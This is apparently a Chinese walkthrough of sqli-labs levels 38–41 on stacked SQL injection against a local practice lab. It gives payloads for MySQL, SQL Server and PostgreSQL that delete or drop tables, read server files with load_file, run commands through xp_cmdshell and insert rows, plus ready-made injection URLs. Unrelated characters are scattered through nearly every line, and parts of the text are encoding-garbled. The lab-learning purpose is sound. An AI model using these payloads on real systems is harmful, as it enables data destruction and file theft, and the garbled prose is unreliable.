Less 38
基于錯誤_GET_單引號_字符型_堆疊注入
從這關(guān)開始便是 Page 3 的內(nèi)容了:Stack Injection(堆疊注入)搅裙,從名詞含義看就是多條 sql 語句一起執(zhí)行丰介。
首先我們要學習前置知識:堆疊注入的原理、局限性與各數(shù)據(jù)庫的實例啥酱。
參考:《MySQL注入天書》
0x01. 原理介紹
在 SQL 中,分號;
用來表示一條 SQL 語句的結(jié)束。試想我們在;
結(jié)束一個 SQL 語句后繼續(xù)構(gòu)造下一條語句咬扇,兩條語句會不會一起執(zhí)行狮暑?這個想法也就造就了堆疊注入棚唆。
而 Union Injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別心例?
區(qū)別就在于union
或者union all
執(zhí)行的語句類型是有限的宵凌,可以用來執(zhí)行查詢語句,且在 MySQL 中返回的列數(shù)需要相等止后;而堆疊注入可以執(zhí)行的是任意的語句瞎惫。
例,用戶提交:
id=1;delete from users
而服務(wù)器未做檢查译株,生成的 SQL 語句為:
select * from users where id=1;delete from users
執(zhí)行后瓜喇,第一條將顯示查詢信息,第二條將刪除整個表歉糜。
0x02. 局限性
堆疊注入并不是在每一個環(huán)境下都可以執(zhí)行乘寒,可能受到 API 或者數(shù)據(jù)庫引擎不支持的限制,同時權(quán)限不足也會使攻擊者無法修改數(shù)據(jù)或者調(diào)用一些程序匪补。
雖然前面提到了堆疊查詢可以執(zhí)行任意的 SQL 語句伞辛,但是這種注入方式并不是十分完美。在我們的 Web 系統(tǒng)中夯缺,代碼通常只返回一個查詢結(jié)果蚤氏,因此堆疊注入第二個語句產(chǎn)生錯誤或者結(jié)果只能被忽略,我們在前端界面無法看到返回結(jié)果踊兜。
因此在讀取數(shù)據(jù)時竿滨,建議使用union
注入。同時在使用堆疊注入之前,我們也需要知道一些數(shù)據(jù)庫相關(guān)信息如表名于游,列名等毁葱。
0x03. 數(shù)據(jù)庫實例
下面介紹幾個常用數(shù)據(jù)庫的堆疊操作:基本操作與增刪查改。
0x03-01. MySQL
- 新建表
test
select * from users where id=1;create table test like users;
- 刪除新建表
test
select * from users where id=1;drop table test;
- 查詢數(shù)據(jù)
select * from users where id=1;select 1,2,3;
- 加載文件
select * from users where id=1;select load_file('c:/test.php');
- 修改數(shù)據(jù)
select * from users where id=1;insert into users(id,username,password) values('100','name','pswd');
load_file()函數(shù)
讀取文件并返回文件內(nèi)容為字符串贰剥。
要使用此函數(shù)头谜,文件必須位于服務(wù)器主機上,必須指定完整路徑的文件鸠澈,而且必須有FILE權(quán)限柱告;該文件所有字節(jié)可讀,但文件內(nèi)容必須小于
max_allowed_packet
笑陈。如果該文件不存在或無法讀取际度,因為前面的條件之一不滿足,函數(shù)返回
NULL
涵妥。
注意:這里還是有數(shù)據(jù)導入導出權(quán)限的問題乖菱,在 Less 7 中也遇到過。
Mysql數(shù)據(jù)庫需要在指定的目錄下進行數(shù)據(jù)的導出蓬网。
secure_file_priv
這個參數(shù)用來限制數(shù)據(jù)導入和導出操作的效果窒所,例如執(zhí)行load data
、into outfile
語句和load_file()
函數(shù),這些操作需要用戶具有file
權(quán)限帆锋。1. 如果這個參數(shù)為空吵取,這個變量沒有效果。
2. 如果這個參數(shù)設(shè)為一個目錄名锯厢,Mysql服務(wù)只允許在這個目錄中執(zhí)行文件的導入和導出操作皮官。這個目錄必須存在,MySQL服務(wù)不會創(chuàng)建它.
3. 如果這個參數(shù)為null
实辑,Mysql服務(wù)會禁止導入和導出操作捺氢。這個參數(shù)在MySQL 5.7.6版本引入。于是查看
secure_file_priv
:show variables like '%secure%'
在指定的位置導出文件:
注意:在 MySQL 中剪撬,需要注意路徑轉(zhuǎn)義的問題摄乒,即用/
或\\
分隔。
參考:
windows下mysql loadfile返回NULL的解決
MySQL里設(shè)置或修改系統(tǒng)變量的幾種方法
這里有修改系統(tǒng)變量的幾種方法残黑,可以考慮注入時涉及文件操作時先修改權(quán)限馍佑。
0x03-02. SQL Server
- 新建表
select * from test;create table test2(ss CHAR(8));
- 刪除新建表
select * from test;drop table test2;
- 查詢數(shù)據(jù)
select * from test;select 1,2,3;
- 修改數(shù)據(jù)
select * from test;update test set name='name' where id=1;
- SQL Server中最為重要的存儲過程的執(zhí)行 *有待學習
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
【*有待學習】
0x03-03. Oracle
上面的圖中已經(jīng)提及,Oracle 不能使用堆疊注入萍摊,可以從圖中看到挤茄,當有兩條語句在同一行時如叼,直接報錯無效字符冰木。
0x03-04. Postgresql
- 新建表
select * from user_test;create table user_data(id DATE);
- 刪除新建表
select * from user_test;delete from user_data;
- 查詢數(shù)據(jù)
select * from user_test;select 1,2,3;
- 修改數(shù)據(jù)
select * from user_test;update user_test set name='new' where name='name';
0x04. 注入過程
堆疊注入需要依靠前文所寫的各種注入方式來獲取數(shù)據(jù)庫的信息,在這里只演示如何插入新的數(shù)據(jù)。
http://localhost:8088/sqlilabs/Less-38/?id=1';insert into users(id,username,password) values(38,'Less38','Less38')--+
Less 39
基于錯誤_GET_數(shù)字型_堆疊注入
類似 Less 38踊沸,Less 39 是數(shù)字型注入歇终,沒有過濾任何東西。
http://localhost:8088/sqlilabs/Less-39/?id=1;insert into users(id,username,password) values(39,'Less39','Less39')--+
Less 40
基于Bool_GET_單引號_小括號_字符型_盲注_堆疊注入
正常注入可以用腳本 Bool 盲注逼龟,堆疊注入如下:
http://localhost:8088/sqlilabs/Less-40/?id=1');insert into users values(40,'Less40','Less40')--+
Less 41
基于Bool_GET_數(shù)字型_盲注_堆疊注入
正常注入可以用腳本 Bool 盲注评凝,堆疊注入如下:
http://localhost:8088/sqlilabs/Less-41/?id=1;insert into users values(41,'Less41','Less41')--+